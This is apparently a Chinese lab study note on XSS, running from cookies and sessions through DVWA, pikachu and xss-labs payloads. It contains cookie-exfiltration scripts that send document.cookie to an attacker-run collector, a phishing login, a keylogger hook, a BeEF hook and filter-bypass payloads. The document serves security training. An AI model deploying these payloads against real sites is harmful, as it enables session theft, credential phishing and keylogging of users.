1、HTTP协议回顾

XSS又名跨站脚本攻击

web页面登陆页面,往往有一个“记住密码”功能 ---> Cookie

1.1 HTTP流程





1.2 HTTP特点:

  • 请求应答模式
  • 灵活可拓展
  • 可靠传输
  • 无状态stateless -- 客户端每次请求都是完全独立的,没有任何联系

2、客户端的Cookie

显示:每个请求都是独立的

需求:保持会话

目的:为了解决stateless无状态的影响

1、第一次访问,浏览器会保存服务器下发的Cookie

2、客户端在本机将cookie保存到内存或磁盘下面

3、后面每次请求都带上cookie

2.1 cookie内容

key/value 格式,例如:

name = wuya
id = 99
islogin = 1

一般包含:内容value、起作用的路径、起作用的域名、到期时间

(需要计算过期时间的Cookie会保存在磁盘。没有过期时间的,属于临时cookie,则是保存在内存)

2.2 cookie特点

  • 明文
  • 可修改
  • 数量和大小受限(视浏览器而定)

Cookie的用途

  • 记住登陆状态
  • 跟踪用户行为(广告推送等等)

3、服务器的Session

转换思路:将一大串保存在服务端,且只通过COOKIE字段下发一个字段SESSID

减少浏览器客户端的负担,只需要看客户端的cookie中是否有已登录的SessionID

3.1 session流程

客户端 --> 第一次访问:开启会话,将登陆信息保存到session --> 服务端

客户端 <-- 如选择记住密码,则将sessionID写入cookie并下发 <-- 服务端

客户端 --> 第二次访问,从session中取出信息,判断登陆状态 --> 服务端

3.2 cookie和session的区别

4、JavaScript操作Cookie

想法:可不可以复制别的浏览器cookie中的sessionid?从而达到直接登录?

答案是可行的!

问题:如何远程获取到其他用户的cookie?

4.1 JavaScript语法

获取:document.coookie;

设置:document.cookie = "username=wuya";

修改:创建一个cookie覆盖

删除:将cookie过期时间,设置为如1999年

想法:将脚本注入到网页服务器中,并运行

5、脚本注入网页-XSS

前提:输入框存在提交,并且会解析运行JavaScript的脚本

POST请求如:<script>alert(1)</script>

GET 请求如:?url=javascript:alert(/wuya/)

5.1 XSS:Cross Site Script

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,这个时候就达到了攻击的目的。

JavaScript、Java、VBScript、ActiveX、Flash

反射型、存储型、DOM型(通过HTML的结构实现)

5.2 反射型XSS

5.3 存储型XSS

如注册、发评论等等

6、获取Cookie发送邮件实战

6.1 首先写一个mail.js文件

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie=' + encodeURIComponent(document.cookie);

6.2 存储型注入

在注册时输入:<script = \'http://localhost/xss/mail.js'></script>

6.3 执行脚本

当有人点击或访问,就会执行mail.js,其中sendmail.php会将当前访问该路径的用户的cookie,通过参数?mycookie转发邮件到黑客的qq邮箱中

7、DVWA靶场XSS

默认账号:admin

默认密码:password

7.1 XSS(Reflected)

7.1.1 Security = Low

payload = <script>alert('xxx')</script>

7.1.2 Security = Medium

做了一个str_replace()将script过滤成' '空

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

绕过:大小写、双写

payload = <Script>alert('xxx')</script>

payload = <sc<script>ript>alert(123456)</script>

7.1.3 Security = High

运用了正则表达式

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

绕过:运用其他标签

payload = <删除img src=" " onerror="alert('XSS')">

7.1.4 Security = Impossible

运了htmlspecialchars()函数

将特殊字符转换为HTML实体符号,相当于被编码

7.2 XSS(Stored)

7.2.1 Security = Low

发现Name字段存在长度限制,但是Message字段没有

payload = <script>alert(123456)</script>

发现一旦刷新,每访问一次,就会攻击一次,出现弹窗

7.2.2 Security = Medium

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤<script>字符串,仍然存在存储型的XSS。

绕过:抓包改name参数为<sc<script>ript>alert(/xss/)</script>

也可以审查元素,修改长度限制

7.2.3 Security = High

7.2.4 Security = Impossible

8、XSS后台平台搭建(pikachu靶场xss后台为例)

8.1 搭建

在本机搭建pikachu(修改inc配置文件)

在Win7虚拟机搭建pikachu XSS后台

相当于:用本机的XSS漏洞环境,将cookie传到虚拟机Win7的XSS后台数据库中

8.2 Payload

8.2.1 反射型xss(get):<script>alert("xu")</script>

在Win7的Cookie.php中修改重定向地址,让别人误以为只是刷新了一下

<script>document.location='http://虚拟机ip/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

http://192.168.125.131:8080/

8.2.2 反射型xss(post)

在修改Win7中post.html

攻击方式:将带毒的页面(Win7中的post.html)发给别人,一旦点击会访问有xss漏洞的本机地址,然后自动输入payload被拿cookie

最后访问带毒地址url:http://192.168.125.131:8080/pikachu/pkxss/xcookie/post.html

8.2.3 存储型xss(钓鱼xfish)

修改fish.php,弹出迷惑性的登陆界面

<script src="http://192.168.125.131:8080/pikachu/pkxss/xfish/fish.php"></script>

用法:将JS语句存储在留言板中,当有人访问留言板时候,就会弹窗输密码

8.2.4 存储型xss(获取键盘记录)

修改rk.js

<script src="http://192.168.125.131:8080/pikachu/pkxss/rkeypress/rk.js"></script>

用法:将JS语句存储在留言板中,当有人访问,可以看到其键盘输入

8.3 其他XSS平台

https://github.com/78778443/xssplatform

Kali:beef-xss(密码/etc/beef-xss/config.yaml)

在反射型XSS处,执行 <script src="http://Kali的ip:3000/hook.js"></script>

发现在beef上线,可以在command处对受害机器进行操作

9、XSS检查和利用

9.1 测试XSS的payload

9.1.1XSSER (https://github.com/epsylon/xsser)(https://xsser.03c8.net)

实例:

由于DVWA需要登录,所以需要给他一个cookei

xsser -u "http://ip地址/dvwa/vulnerabilities/" -g "/xss_r/?name=XSS" --cookie="security=low; PHPSESSID=do462brkn1gnerpusf1f5aqd30; BEEFHOOK=d83iUtVEPA40EzTeQuAGilAcNsvuKbYCssJDO2qhLkKyPNK37CIIV5NZpvaINYqVPT4erug7xcrfqPCh" -s -v --reverse-check

9.1.2 XSSSTRIKE(https://github.com/s0md3v/XSStrike)

任意切换python版本!

添加python可选项:

update-alternatives --install /usr/bin/python python /usr/bin/python2.7 2 # 添加Python2可选项,优先级为2,优先级高的数字大,此处设置python2优先级高于python3

然后输入update-alternatives --config python

删除python可选项

update-alternatives --remove python /usr/bin/python2.7

get类型命令:python xsstrike.py -u 'http://xxx/xxx.php?message=123&subbmit=submit'

post类型命令:python xsstrike.py -u "xxx/xx.php" --data 'name=1'

10、XSS防御方法

入口:

识别:正则,处理:替换

出口:

echo "",document.write();htmlspecialchars

WAF

11、xss-labs闯关游戏

思路:使用万能payload看看做了什么处理!再查看页面源码!

<sCr<scrscRiptipt>ipt>OonN&apos;\"<>

&apos是单引号

第一关

payload = ?name=<script>alert("xss")</script>

第二关

查看页面代码,发现没有任何过滤,且输入在value中需要闭合

payload = "> <script>alert("xss")</script>

第三关

过滤了尖括号,所以闭合+触发onmouseover,插入脚本当鼠标滑过输入框触发

payload = ' onmouseover='alert(/xss/)

第四关

<script " ' Oonn>

发现过滤了尖括号

payload = " onmouseover="alert(1)

第五关

过滤替换了script和on关键字,使用伪协议生成带alert的超链接

payload = "><a href = "javascript:alert(/xss/)">click</a>

第六关

过滤替换了script和on=以及href关键字,使用伪协议+大小写hERf绕过

payload = "><a hREf = "javascript:alert(/xss/)">click</a>

第七关

script标签被过滤,闭合+双写绕过

payload = "> <SCRscriptIPT>alert(1)</SCRscriptIPT>

第八关

提供了友情链接,使用伪协议javascript:alert(/xss/),发现script被替换

对内容进行一个Unicode编码



payload = javascript:alert(/xss/)

第九关

你的链接不合法!

payload = javascript:alert('http://www.baidu.com')

第十关

GET类型请求,尖括号不行,但是发现三个隐藏的input标签,闭合触发事件

然后因为标签是hidden的,导致无法触发标签的事件监听,所以需要覆盖掉标签的hidden属性,或者使用//注释掉

payload = ?t_sort=click" type="button" onclick="alert(/xss/)

payload = ?t_sort=" onmouseover="alert(1)" type=""//

第十一关

通过BP抓包,修改Referer值,发现会传递到代码中



payload = click" type="button" onclick="alert(1)

portswigger

<custom-tag onmouseover='alert("xss")'>

"><body onresize=alert(1)>

3-XSS渗透与防御的更多相关文章

  1. 前端安全(XSS、CSRF防御)

    一.网络安全          OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)        OWASP是一个开源的 ...

  2. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  3. 《前端之路》 之 前端 安全 XSS 原理以及防御手段

    什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...

  4. XSS(四)攻击防御

    XSS Filter XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中, ...

  5. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  6. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  7. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  8. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  9. XSS理解与防御

    一.说明 我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢.那时我最怕两个问题,第一个是题目做 ...

  10. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

随机推荐

  1. 在 Web 中判断页面是不是刷新

    在 Web 开发中,我们经常需要区分用户是否通过刷新操作重新加载了页面.这一操作可能是由用户手动刷新(如按下 F5 键或点击浏览器刷新按钮)或通过浏览器自动重新加载.判断页面是否刷新有助于开发者优化用 ...

  2. 技术解析 | ZEGO 移动端超分辨率技术

    ​ 即构超分追求:速度更快.效果更好.码率更低.机型更广. 超分辨率(Super Resolution, SR)是从给定的低分辨率(Low Resolution, LR)图像中恢复高分辨率(High ...

  3. Angular 18+ 高级教程 – Component 组件 の Query Elements

    前言 Angular 是 MVVM 框架. MVVM 的宗旨是 "不要直接操作 DOM". 在 Component 组件 の Template Binding Syntax 文章中 ...

  4. JavaScript – Set and Map

    参考 Set 和 Map 数据结构 Set 介绍和使用 Set 很像 Array, 但其实它是一个 Iteralbe 对象. 用于保存多个值, 而且具有 unique 特性 (1 个 set 里面不会 ...

  5. /proc/sys/vm 使用

    这些参数主要是用来调整virtual memory子系统的行为以及数据的写出(从RAM到ROM). 这些节点(参数)的默认值和初始化的过程大部分都可以在mm/swap.c中找到. 目前,/proc/s ...

  6. 使用DBeaver连接高斯100数据库 gaussdb100

    1. 自定义驱动 参考:DBeaver配置GaussDB 100指导手册-云社区-华为云 (huaweicloud.com) 搜索_华为云 (huaweicloud.com) DBeaver连接华为高 ...

  7. stm32开发

    基于寄存器开发 新建工程 添加C/C++识别路径 : 防止中文乱码 -  改变编码格式 基于库函数开发

  8. css实现直线拉伸

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  9. 71.登录失效,token过期怎么处理

    1. 清除用户数据,直接跳转登录页重新登录 : 2. 短token 过期,使用 长 token 重新获取短 token ,然后重新请求 : 如果长 token 也过期了,就去重新登录获取 token ...

  10. "山海经“ 讲解----线段树

    "山海经"--线段树 讲解 1.题面: http://cogs.pro/cogs/problem/problem.php?pid=775 2.题目大意及分析: i:大概就是说给了你 ...